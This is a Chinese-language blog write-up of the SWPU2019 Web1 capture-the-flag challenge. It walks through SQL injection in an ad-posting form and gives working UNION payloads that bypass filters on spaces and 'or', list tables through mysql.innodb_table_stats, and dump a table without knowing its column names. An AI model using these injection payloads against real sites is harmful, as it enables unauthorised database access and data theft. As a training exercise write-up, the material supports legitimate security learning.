[SWPU2019]Web1

预备知识:联合查询子查询,过滤or后的查库查表方法。

前台登陆和注册,一般有注册的就不用想着注入登录框了。

注册完发现有个发布广告的功能。

一开始以为是xss,试了一下,”<“被吞了。

突然想到之前读过一个cms的源码,可能是数据库广告添加存在sql注入。

于是尝试:asdadsa’

基本上确定了。

后台语句大致如下:

INSERT INTO table_name ( adname, ad,...fieldN )
                       VALUES
                       ( 'mingzi', 'neirong',...valueN );

这里尝试在名字处注入。

' order by '3

被过滤

试or,过滤

所以是过滤or,意味着information那些的用不了。

再试:

union select

发现空格被删除,用/**/绕过。

接下来就是硬猜了,利用burp去快速提交然后一起查看会快一点。

最终字段数是22个。

回显处在2,3

'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

接下来group_concat(database())可以直接查出库名。

'/**/union/**/select/**/1,group_concat(database()),null,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

得到库名:web1

然后,information被过滤了怎么查表名呢?

这里有个黑魔法。

构造语句:

'/**/union/**/select/**/1,group_concat(table_name),null,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1

得到表名:

接着进行无列名注入:

子查询

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)t),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

分解一波:

-1'union select 1,(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
select group_concat(b) from()t  //此处要起个别名,不然会报错。
select 1,2,3 as b union select * from users   //此处字段数要跟user表字段数相等

得到flag:{3eed721f-0220-4b1c-bb85-c0beb9995863}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇